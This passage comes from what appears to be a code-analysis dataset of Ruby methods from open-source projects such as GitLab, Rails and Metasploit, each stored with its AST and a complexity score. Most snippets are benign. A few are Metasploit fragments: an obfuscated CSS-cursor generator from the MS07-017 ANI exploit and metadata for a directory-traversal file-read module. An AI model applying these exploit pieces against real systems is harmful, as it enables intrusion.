"unsupported_keys\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy_rule\"]},\"keys\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"allowed_keys\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unsupported_keys\"]},\"any?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"simple_rule\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy_rule\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"apiGroups\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy_rule\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"resources\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy_rule\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"resourceNames\"]}]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"simple_rule\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resourceName\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy_rule\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"resourceNames\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"simple_rule\"]}]}]}","id":"96601e4b-fcf6-490f-b69d-02db13df24f1"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/reverse_geocoding/places/fetch_data.rb","start_line":79,"raw_source":"def extract_osm_ids(places)\n    places.map { |place| place.data['properties']['osm_id'].to_s }\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_osm_ids\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"places\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"places\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"place\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"place\"]},\"data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"properties\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"osm_id\"]}]},\"to_s\"]}]}]}","id":"878e1af9-4df0-4fbf-abda-3a52f5d469a0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/groups/dependency_proxy_for_containers_controller.rb","start_line":45,"raw_source":"def blob\n    blob = @group.dependency_proxy_blobs.find_by_file_name(blob_file_name)\n\n    if blob.present?\n      event_name = tracking_event_name(object_type: :blob, from_cache: true)\n      track_package_event(event_name, :dependency_proxy, namespace: group, user: tracking_user)\n\n      send_upload(blob.file, ssrf_params: ssrf_params)\n    else\n      send_dependency(\n        token_header,\n        DependencyProxy::Registry.blob_url(image, permitted_params[:sha]),\n        blob_file_name,\n        ssrf_params: ssrf_params\n      )\n    end\n  end","complexity_score":27.8,"ast_json":"{\"type\":\"def\",\"children\":[\"blob\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"blob\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@group\"]},\"dependency_proxy_blobs\"]},\"find_by_file_name\",{\"type\":\"send\",\"children\":[null,\"blob_file_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blob\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"event_name\",{\"type\":\"send\",\"children\":[null,\"tracking_event_name\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"object_type\"]},{\"type\":\"sym\",\"children\":[\"blob\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from_cache\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"track_package_event\",{\"type\":\"lvar\",\"children\":[\"event_name\"]},{\"type\":\"sym\",\"children\":[\"dependency_proxy\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"send\",\"children\":[null,\"group\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"tracking_user\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_upload\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blob\"]},\"file\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ssrf_params\"]},{\"type\":\"send\",\"children\":[null,\"ssrf_params\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_dependency\",{\"type\":\"send\",\"children\":[null,\"token_header\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DependencyProxy\"]},\"Registry\"]},\"blob_url\",{\"type\":\"send\",\"children\":[null,\"image\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sha\"]}]}]},{\"type\":\"send\",\"children\":[null,\"blob_file_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ssrf_params\"]},{\"type\":\"send\",\"children\":[null,\"ssrf_params\"]}]}]}]}]}]}]}","id":"f4ab9c46-01dd-4193-8de7-b982c46abed2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/email/ms07_017_ani_loadimage_chunksize.rb","start_line":193,"raw_source":"def generate_div(url)\n    \"<div style='\" +\n      generate_css_padding() +\n      Rex::Text.to_rand_case(\"cursor\") +\n      generate_css_padding() +\n      \":\" +\n      generate_css_padding() +\n      Rex::Text.to_rand_case(\"url(\") +\n      generate_css_padding() +\n      \"\\\"#{url}\\\"\" +\n      generate_css_padding() +\n      \");\" +\n      generate_css_padding() +\n      \"'>\" +\n      generate_padding() +\n      \"</div>\"\n  end","complexity_score":56.8,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_div\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<div style='\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"generate_css_padding\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_rand_case\",{\"type\":\"str\",\"children\":[\"cursor\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"generate_css_padding\"]}]},\"+\",{\"type\":\"str\",\"children\":[\":\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"generate_css_padding\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_rand_case\",{\"type\":\"str\",\"children\":[\"url(\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"generate_css_padding\"]}]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"generate_css_padding\"]}]},\"+\",{\"type\":\"str\",\"children\":[\");\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"generate_css_padding\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"'>\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"generate_padding\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"</div>\"]}]}]}","id":"b2afc701-6ac4-4e90-b79d-5f0806391a1c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/work_items/data_sync/widgets/start_and_due_date.rb","start_line":7,"raw_source":"def after_create\n          return unless target_work_item.get_widget(:start_and_due_date)\n\n          dates_source = target_work_item.dates_source || target_work_item.build_dates_source\n\n          dates_source.assign_attributes(build_date_source_attributes)\n          target_work_item.dates_source = dates_source\n        end","complexity_score":14.2,"ast_json":"{\"type\":\"def\",\"children\":[\"after_create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_work_item\"]},\"get_widget\",{\"type\":\"sym\",\"children\":[\"start_and_due_date\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"dates_source\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_work_item\"]},\"dates_source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_work_item\"]},\"build_dates_source\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dates_source\"]},\"assign_attributes\",{\"type\":\"send\",\"children\":[null,\"build_date_source_attributes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_work_item\"]},\"dates_source=\",{\"type\":\"lvar\",\"children\":[\"dates_source\"]}]}]}]}","id":"4b491ba3-ebdf-455b-8006-c52eecda058d"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/oauth/helpers/scope_checker.rb","start_line":39,"raw_source":"def self.valid?(scope_str:, server_scopes:, app_scopes: nil, grant_type: nil)\n          Validator.new(\n            scope_str,\n            server_scopes,\n            app_scopes,\n            grant_type,\n          ).valid?\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"valid?\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"scope_str\"]},{\"type\":\"kwarg\",\"children\":[\"server_scopes\"]},{\"type\":\"kwoptarg\",\"children\":[\"app_scopes\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"grant_type\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Validator\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"scope_str\"]},{\"type\":\"lvar\",\"children\":[\"server_scopes\"]},{\"type\":\"lvar\",\"children\":[\"app_scopes\"]},{\"type\":\"lvar\",\"children\":[\"grant_type\"]}]},\"valid?\"]}]}","id":"5af676ca-8f10-41ef-a136-31c9a2d5eb7a"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/cache/behaviors/cache_store_behavior.rb","start_line":177,"raw_source":"def test_write_multi_expires_in\n    key = SecureRandom.uuid\n    @cache.write_multi({ key => 1 }, expires_in: 10)\n\n    travel(11.seconds) do\n      assert_nil @cache.read(key)\n    end\n  end","complexity_score":9.55,"ast_json":"{\"type\":\"def\",\"children\":[\"test_write_multi_expires_in\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"uuid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"write_multi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires_in\"]},{\"type\":\"int\",\"children\":[10]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"travel\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[11]},\"seconds\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]}]}","id":"30987391-2d21-402f-9cb3-8d1626f8a84f"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/upload_serializer.rb","start_line":25,"raw_source":"def url\n    if object.for_site_setting\n      object.url\n    else\n      UrlHelper.cook_url(object.url, secure: SiteSetting.secure_uploads? && object.secure)\n    end\n  end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"for_site_setting\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UrlHelper\"]},\"cook_url\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"secure\"]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"secure_uploads?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"secure\"]}]}]}]}]}]}]}","id":"189e499a-c08d-4c9d-a4fd-e4d879643d31"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/asset_tag_helper_test.rb","start_line":579,"raw_source":"def test_path_to_stylesheet_alias_for_stylesheet_path\n    PathToStyleToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }\n  end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_path_to_stylesheet_alias_for_stylesheet_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PathToStyleToTag\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]},{\"type\":\"arg\",\"children\":[\"tag\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"tag\"]},{\"type\":\"send\",\"children\":[null,\"eval\",{\"type\":\"lvar\",\"children\":[\"method\"]}]}]}]}]}","id":"ba9a5de1-0dfc-4a88-b846-9c392eda8817"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/rmi/model/return_data.rb","start_line":24,"raw_source":"def decode_stream_id(io)\n            stream_id = read_byte(io)\n            unless stream_id == RETURN_DATA\n              raise Rex::Proto::Rmi::DecodeError, 'Failed to decode ReturnData stream id'\n            end\n\n            stream_id\n          end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"decode_stream_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"io\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stream_id\",{\"type\":\"send\",\"children\":[null,\"read_byte\",{\"type\":\"lvar\",\"children\":[\"io\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream_id\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"RETURN_DATA\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Rmi\"]},\"DecodeError\"]},{\"type\":\"str\",\"children\":[\"Failed to decode ReturnData stream id\"]}]}]},{\"type\":\"lvar\",\"children\":[\"stream_id\"]}]}]}","id":"45d9a270-6f5c-46aa-b9c3-435bbf5d39cd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bitbucket/representation/issue.rb","start_line":32,"raw_source":"def title\n        raw['title']\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"title\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw\"]},\"[]\",{\"type\":\"str\",\"children\":[\"title\"]}]}]}","id":"378dc7af-09d7-483b-883e-762d3aab358d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/cleanup_service.rb","start_line":15,"raw_source":"def enqueue(project, current_user, bfg_object_map)\n        Projects::UpdateService.new(project, current_user, bfg_object_map: bfg_object_map).execute.tap do |result|\n          next unless result[:status] == :success\n\n          project.set_repository_read_only!\n          RepositoryCleanupWorker.perform_async(project.id, current_user.id)\n        end\n      rescue Project::RepositoryReadOnlyError => err\n        { status: :error, message: (_('Failed to make repository read-only: %{reason}') % { reason: err.message }) }\n      end","complexity_score":20.5,"ast_json":"{\"type\":\"def\",\"children\":[\"enqueue\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"current_user\"]},{\"type\":\"arg\",\"children\":[\"bfg_object_map\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Projects\"]},\"UpdateService\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"current_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bfg_object_map\"]},{\"type\":\"lvar\",\"children\":[\"bfg_object_map\"]}]}]}]},\"execute\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"success\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"set_repository_read_only!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RepositoryCleanupWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_user\"]},\"id\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"RepositoryReadOnlyError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"err\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"error\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Failed to make repository read-only: %{reason}\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reason\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"message\"]}]}]}]}]}]}]}]},null]}]}","id":"1e874edf-32a8-4f7f-9379-f2e9306a7500"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/lib/tooling/predictive_tests/metrics_exporter.rb","start_line":303,"raw_source":"def send_event(label, value, strategy)\n        extra_properties = { ci_job_id: ENV[\"CI_JOB_ID\"], ci_pipeline_id: ENV[\"CI_PIPELINE_ID\"], test_type: test_type }\n        tracker.send_event(\n          PREDICTIVE_TEST_METRICS_EVENT,\n          label: label,\n          value: value,\n          property: strategy.to_s,\n          extra_properties: extra_properties\n        )\n      end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"send_event\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"label\"]},{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"arg\",\"children\":[\"strategy\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"extra_properties\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ci_job_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CI_JOB_ID\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ci_pipeline_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CI_PIPELINE_ID\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"test_type\"]},{\"type\":\"send\",\"children\":[null,\"test_type\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"send_event\",{\"type\":\"const\",\"children\":[null,\"PREDICTIVE_TEST_METRICS_EVENT\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"lvar\",\"children\":[\"label\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"property\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"strategy\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"extra_properties\"]},{\"type\":\"lvar\",\"children\":[\"extra_properties\"]}]}]}]}]}]}","id":"9be30b9a-aef9-42bf-a856-6e378570b164"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/smell_detectors/too_many_statements.rb","start_line":42,"raw_source":"def max_allowed_statements\n        value(MAX_ALLOWED_STATEMENTS_KEY, context)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"max_allowed_statements\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"value\",{\"type\":\"const\",\"children\":[null,\"MAX_ALLOWED_STATEMENTS_KEY\"]},{\"type\":\"send\",\"children\":[null,\"context\"]}]}]}","id":"afd67efc-ea71-4de6-8032-9a198c4c23c9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/officescan/tmlisten_traversal.rb","start_line":10,"raw_source":"def initialize\n    super(\n      'Name' => 'TrendMicro OfficeScanNT Listener Traversal Arbitrary File Access',\n      'Description' => %q{\n          This module tests for directory traversal vulnerability in the UpdateAgent\n        function in the OfficeScanNT Listener (TmListen.exe) service in Trend Micro\n        OfficeScan. This allows remote attackers to read arbitrary files as SYSTEM\n        via dot dot sequences in an HTTP request.\n      },\n      'References' => [\n        [ 'OSVDB', '48730' ],\n        [ 'CVE', '2008-2439' ],\n        [ 'BID', '31531' ],\n        [ 'URL', 'http://www.trendmicro.com/ftp/documentation/readme/OSCE_7.3_Win_EN_CriticalPatch_B1372_Readme.txt' ],\n      ],\n      'Author' => [ 'Anshul Pandey <anshul999[at]gmail.com>', 'aushack' ],\n      'License' => MSF_LICENSE\n    )\n\n    register_options(\n      [\n        Opt::RPORT(26122),\n      ]\n    )\n  end","complexity_score":3.55,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"TrendMicro OfficeScanNT Listener Traversal Arbitrary File Access\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module tests for directory traversal vulnerability in the UpdateAgent\\n\"]},{\"type\":\"str\",\"children\":[\"        function in the OfficeScanNT Listener (TmListen.exe) service in Trend Micro\\n\"]},{\"type\":\"str\",\"children\":[\"        OfficeScan. This allows remote attackers to read arbitrary files as SYSTEM\\n\"]},{\"type\":\"str\",\"children\":[\"        via dot dot sequences in an HTTP request.\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"48730\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2008-2439\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"31531\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://www.trendmicro.com/ftp/documentation/readme/OSCE_7.3_Win_EN_CriticalPatch_B1372_Readme.txt\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Anshul Pandey <anshul999[at]gmail.com>\"]},{\"type\":\"str\",\"children\":[\"aushack\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[26122]}]}]}]}]}]}","id":"3f3bf005-a36f-439d-a5fd-3bea2b35e93f"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/instances/extended_descriptions_controller.rb","start_line":20,"raw_source":"def set_extended_description\n    @extended_description = ExtendedDescription.current\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_extended_description\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@extended_description\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ExtendedDescription\"]},\"current\"]}]}]}","id":"753f2823-8c94-45ae-a8bc-a0257a5706b6"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/request_forgery_protection_test.rb","start_line":1180,"raw_source":"def test_ignores_origin_during_generation\n    get :index, params: { form_path: \"https://example.com/per_form_tokens/post_one/\" }\n\n    form_token = assert_presence_and_fetch_form_csrf_token\n\n    # This is required because PATH_INFO isn't reset between requests.\n    @request.env[\"PATH_INFO\"] = \"/per_form_tokens/post_one\"\n    assert_nothing_raised do\n      post :post_one, params: { custom_authenticity_token: form_token }\n    end\n    assert_response :success\n  